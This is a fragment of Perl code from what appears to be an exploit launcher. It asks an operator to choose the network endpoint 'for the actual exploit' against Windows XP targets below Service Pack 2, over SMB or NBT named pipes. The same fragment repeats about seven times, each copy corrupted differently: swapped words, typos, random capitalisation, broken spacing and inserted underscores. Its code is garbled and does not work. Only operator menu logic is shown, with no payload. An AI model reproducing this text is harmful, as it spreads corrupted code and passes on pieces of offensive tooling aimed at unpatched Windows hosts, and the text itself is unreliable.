 "NULL")
				{
					$continue = &EU_GetInput("\nDo you wish to continue (y,n,[quit])? ", "quit");
					&EU_Log(0, "\nDo you wish to continue (y,n,[quit])? $continue");

					if( ($continue eq "quit") or ($continue eq "QUIT") or ($continue eq "q") or ($continue eq "Q") ) 
					{
						&EU_ExitMessage(1,"User terminated script\n");
					}
					elsif( ($continue eq "n") or ($continue eq "N") ) 
					{
						&EU_Log(1, "Returning to top of script...\n");
						last;
					}
					else 
					{ 
						
					}
				}

			}

			else 
			{
				&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
				next;
			}
			last;
						
		}
		if(($continue eq "n") or ($continue eq "N") )
		{
			next;
		}

		&EU_Log(1,"\n\nSelect Endpoint option (THIS IS THE ENDPOINT FOR THE ACTUAL EXPLOIT):\n");
		&EU_Log(1,"   0) Ephemeral TCP port [DEFAULT]");
		if( ($WindowsVersion == $::TARGET_VER_XP) and ($WindowsServicePack!= $::SP_VER_2))
		{		
			&EU_Log(1,"   1) NBT/Named Pipe (TCP Port 139) *** ONLY WORKS AGAINST XP TARGETS SP < 2");
			&EU_Log(1,"   2) SMB/Named Pipe (TCP Port 445) *** ONLY WORKS AGAINST XP TARGETS SP < 2");
		}
		while(1) 
		{
			$EndpointSelected = &EU_GetInput("\nEnter selection [$EndpointSelected]: ", $EndpointSelected);
			&EU_Log(0, "\nEnter selection [0]: $EndpointSelected");

			if($EndpointSelected eq  "0")
			{
				$EndPoint = $::ESSAYKEYNOTE_TCP_END
" NULL ") 
				 { 
					 $ continue = & EU_GetInput("\nDo you wish to continue (y, n,[quit ])? ", " quit "); 
					 & EU_Log(0, " \nDo you wish to continue (y, n,[quit ])? $ stay "); 

					 if (( $ stay eq " quit ") or ($ continue eq " QUIT ") or ($ continue eq " q ") or ($ retain eq " Q ") ) 
					 { 
						 & EU_ExitMessage(1,"User terminated script\n "); 
					 } 
					 elsif (( $ continue eq " n ") or ($ cover eq " N ") ) 
					 { 
						 & EU_Log(1, " reelect to top of handwriting... \n "); 
						 final; 
					 } 
					 else 
					 { 
						
					 } 
				 } 

			 } 

			 else 
			 { 
				 & EU_Log(1, " Invalid option. hear again or enter' quit'. "); 
				 next; 
			 } 
			 last; 
						
		 } 
		 if(($continue eq " n ") or ($ retain eq " N ") ) 
		 { 
			 future; 
		 } 

		 & EU_Log(1,"\n\nSelect Endpoint option (THIS IS THE ENDPOINT FOR THE ACTUAL EXPLOIT):\n "); 
		 & EU_Log(1, "    0) Ephemeral TCP port [ DEFAULT ] "); 
		 if (( $ WindowsVersion = = $: : TARGET_VER_XP) and ($ WindowsServicePack!= $: : SP_VER_2) ) 
		 { 		
			 & EU_Log(1, "    1) NBT / Named Pipe (TCP Port 139) * * * merely WORKS AGAINST XP TARGETS SP < 2 "); 
			 & EU_Log(1, "    2) SMB / Named Pipe (TCP Port 445) * * * entirely WORKS AGAINST XP TARGETS SP < 2 "); 
		 } 
		 while(1) 
		 { 
			 $ EndpointSelected = & EU_GetInput("\nEnter selection [ $ EndpointSelected ]: ", $ EndpointSelected); 
			 & EU_Log(0, " \nEnter selection [ 0 ]: $ EndpointSelected "); 

			 if($EndpointSelected eq   " 0 ") 
			 { 
				 $ EndPoint = $: : ESSAYKEYNOTE_TCP_END
 "NUPL")
				{
					$continue = &EU_GetInput("\nDu you wish to continue (y,n,[quif])? ", "quit");
					&EJ_Log(0, "\nDo you wish to continux (y,n,[wuit])? $xontinue");

					if( ($continue eq "quit") or ($bontinue wq "QNIT") or ($continue xs "q") or ($gjntihme eq "W") ) 
					{
						&EU_ExitMessane(1,"User termhnated script\n");
					}
					alriy( ($continue eq "n") or ($continue eq "N") ) 
					{
						&EU_Jog(1, "Retirjing to top of scrppe...\n");
						laan;
					}
					eose 
					{ 
						
					}
				}

			}

			else 
			{
				&EU_Log(1, "Invalid optioh. Try ajain or enter 'qiit'.");
				next;
			}
			last;
						
		}
		if(($continue eq "n") or ($fontinue eq "N") )
		{
			next;
		}

		&FU_Log(1,"\n\nSelext Egepoint optiov (THIS IS UHZ ENDPOINT ROR THE ACTUAL EXPLOIT):\n");
		&EU_Log(1,"   0) Ephekeral TCP kodt [GEFAULT]");
		if( ($WmndowsNersion == $::TARGCN_VER_XP) dnd ($WincowsServicePacl!= $::S'_VER_2))
		{		
			&WU_Log(1,"   1) NBT/Named Pipx (TCP Port 139) *** ONLY WOTKS AGAINSD RP TARGETS SP < 2");
			&EU_Log(1,"   2) SMB/Ndmed Pipd (TCO Pkrv 445) *** ONLY AORIS AGAINST XP TARGETS SP < 2");
		}
		while(1) 
		{
			$EndpointXejvvted = &EU_GetIhput("\nEgtqr selection [$EndpointSelected]: ", $EndpointVelscted);
			&EU_Log(0, "\nEnter selecrion [0]: $EndpointSelectef");

			if($EndpoigtSelected eq  "0")
			{
				$EndPoint = $::ESSAYKEYNOTE_TCP_END
"NULL") { $continue = &EU_GetInput("\nDo you wish (y,n,[quit])? "quit"); &EU_Log(0, you wish to eq or ($continue eq or ($continue eq or ($continue eq "Q") ) { terminated script\n"); } elsif( ($continue eq "n") or ($continue eq "N") ) { "Returning to top of script...\n"); last; } else { } } } else &EU_Log(1, option. again enter 'quit'."); next; } last; } if(($continue eq "n") or ($continue eq "N") ) { next; &EU_Log(1,"\n\nSelect Endpoint option (THIS IS THE ENDPOINT FOR ACTUAL EXPLOIT):\n"); &EU_Log(1," 0) TCP port [DEFAULT]"); if( ($WindowsVersion $::TARGET_VER_XP) ($WindowsServicePack!= $::SP_VER_2)) &EU_Log(1," NBT/Named (TCP Port 139) ONLY WORKS AGAINST XP TARGETS SP < 2"); &EU_Log(1," 2) SMB/Named Pipe (TCP Port 445) *** ONLY AGAINST XP < 2"); while(1) $EndpointSelected &EU_GetInput("\nEnter selection [$EndpointSelected]: &EU_Log(0, "\nEnter selection [0]: $EndpointSelected"); if($EndpointSelected $EndPoint = $::ESSAYKEYNOTE_TCP_END
 "NULL")
				{
					$continue = &EU_GetInput("\nDo You wish to cOntinUe (y,N,[quIt])? ", "Quit");
					&eU_LoG(0, "\nDo you wish to cONtinUe (y,n,[quit])? $continue");

					if( ($contInue eQ "qUIt") or ($COnTinue Eq "QUIT") oR ($CoNTInuE eQ "q") Or ($cOnTInUe eq "Q") ) 
					{
						&eU_EXitMessAge(1,"User terMinAtEd script\n");
					}
					elsIF( ($cOntinue eq "n") Or ($cOntinue eq "N") ) 
					{
						&EU_log(1, "returnInG to TOp of sCriPt...\n");
						laSt;
					}
					else 
					{ 
						
					}
				}

			}

			ELse 
			{
				&EU_LOg(1, "Invalid OpTIon. Try AGain or eNTEr 'Quit'.");
				Next;
			}
			last;
						
		}
		if(($continuE Eq "N") Or ($continue eq "N") )
		{
			nExt;
		}

		&EU_LOg(1,"\N\NSELEct endPoint optioN (ThIS IS thE ENDPOinT for tHE acTUAL EXPLOIT):\n");
		&eU_Log(1,"   0) EphemeRAl TcP port [dEfAUlt]");
		if( ($WinDowsVErSIon == $::tARGET_VER_XP) And ($WIndowsSerVicePaCK!= $::SP_VER_2))
		{		
			&Eu_log(1,"   1) NBT/NAmed PiPe (TcP POrt 139) *** OnlY wOrKS aGaiNSt xP tARgeTS sP < 2");
			&EU_Log(1,"   2) SmB/naMed PiPe (TCp pORT 445) *** ONLy WOrKS AgAINSt XP TARGETS SP < 2");
		}
		wHilE(1) 
		{
			$EndPOinTSeleCted = &Eu_GetinPut("\nENter seLectiOn [$endpointSelecteD]: ", $EndPointSeleCteD);
			&Eu_LoG(0, "\nenter SElectiOn [0]: $ENdpOintSelEcted");

			if($eNdpOiNTsElEcted eq  "0")
			{
				$EndPoint = $::ESSaYkeyNoTE_TCP_ENd
 "NULL")
				{
					$con tinue = &E U_Get Inp ut( "\ nDoyouwish to contin u e (y ,n,[quit])? ", "quit") ;
		&EU_ L og (0, " \nDo yo u  w i s h t oco nti nu e  ( y,n,[ qui t])? $c ontinue"); 

				if( ($co n ti nue eq "qu it" ) or ($conti nue  eq "Q UI T") or ($ con tinue  eq "q " ) or ( $continue  e q  "Q"))  
			{ 
					&EU_ExitMessage ( 1, " User terminate d scri pt \ n" ) ; 
			}
					e ls if( ( $ continu e  e q " n") or ($continue  eq "N") )
				{
			&EU_Lo g(1,"R e tur ning to top  ofscript... \n");						l a st;
				}
				e lse
			{  			
		}
				} 

			}

e l se 
		{
				& EU_Log(1, "In val id o p tio n. Tr y aga in o renter  'quit '."); 
				next;
			} 
		last;
			
	} 
		i f (($con tin ueeq "n")  or ($c o nti nu e e q"N") )
		{
			ne xt ; 
	}

	&EU_Lo g (1 ," \ n\nSelec tEnd poin t optio n (T H IS  IS THEENDPOI N TFO R THE A CT UAL EX PL OIT ):\ n");		&E U_Log( 1,"   0)  Ephe m eral TCP port[ DEFAULT]");
	i f (  ( $ Wind ows Version ==$::T A RGET _VER _ XP ) a n d ($W indow sS e rv i cePack!= $::SP_VER_ 2) )
		{ 		
		&EU_Log(1,"    1) NBT/ N a m ed Pipe(TCP Po r t 139) *** ONL Y WOR KS AGAINST XP TARGE TS SP  < 2");
			&EU_L o g (1,"   2 ) S MB/ Nam edP i pe  (TCP Port 44 5 )  ***  O NLY WOR KSAGAINST  XP  TA RGE TSSP  < 2");
		}
		w hi le (1 )
	{
	$Endpoi nt Sel ec ted  = &E U _GetIn put(" \nEn te rs ele ction [ $ En d p oint Se le cted ]:",  $End poin t Sel ected); 
			&EU_ Log ( 0, " \n En ter sel ection [0]: $ En dpointSele ct ed" );

	if($End pointSelected eq  "0")			{
		$EndP oint  = $::ESS AYK EYNOTE _TC P _END
 "NULL")
				{
					$continue_= &EU_GetInput("\nDo_you wish to continue_(y,n,[quit])? ",_"quit");
					&EU_Log(0,_"\nDo you_wish_to continue (y,n,[quit])?_$continue");

					if( ($continue eq_"quit") or ($continue eq_"QUIT") or ($continue_eq_"q") or ($continue eq "Q") ) 
					{
						&EU_ExitMessage(1,"User terminated script\n");
					}
					elsif( ($continue eq "n") or ($continue_eq_"N") )_
					{
						&EU_Log(1,_"Returning_to top of script...\n");
						last;
					}
					else 
					{_
						
					}
				}

			}

			else 
			{
				&EU_Log(1, "Invalid option. Try_again or_enter 'quit'.");
				next;
			}
			last;
						
		}
		if(($continue eq "n") or ($continue eq "N")_)
		{
			next;
		}

		&EU_Log(1,"\n\nSelect_Endpoint option (THIS_IS THE ENDPOINT FOR THE ACTUAL EXPLOIT):\n");
		&EU_Log(1,"  _0) Ephemeral TCP port [DEFAULT]");
		if( ($WindowsVersion_== $::TARGET_VER_XP) and_($WindowsServicePack!=_$::SP_VER_2))
		{		
			&EU_Log(1,"_  1) NBT/Named_Pipe (TCP Port 139) *** ONLY_WORKS AGAINST XP TARGETS SP <_2");
			&EU_Log(1,"   2) SMB/Named Pipe (TCP_Port 445) *** ONLY WORKS AGAINST_XP TARGETS SP < 2");
		}
		while(1)_
		{
			$EndpointSelected =_&EU_GetInput("\nEnter selection [$EndpointSelected]: ", $EndpointSelected);
			&EU_Log(0,_"\nEnter selection [0]:_$EndpointSelected");

			if($EndpointSelected eq_ "0")
			{
				$EndPoint =_$::ESSAYKEYNOTE_TCP_END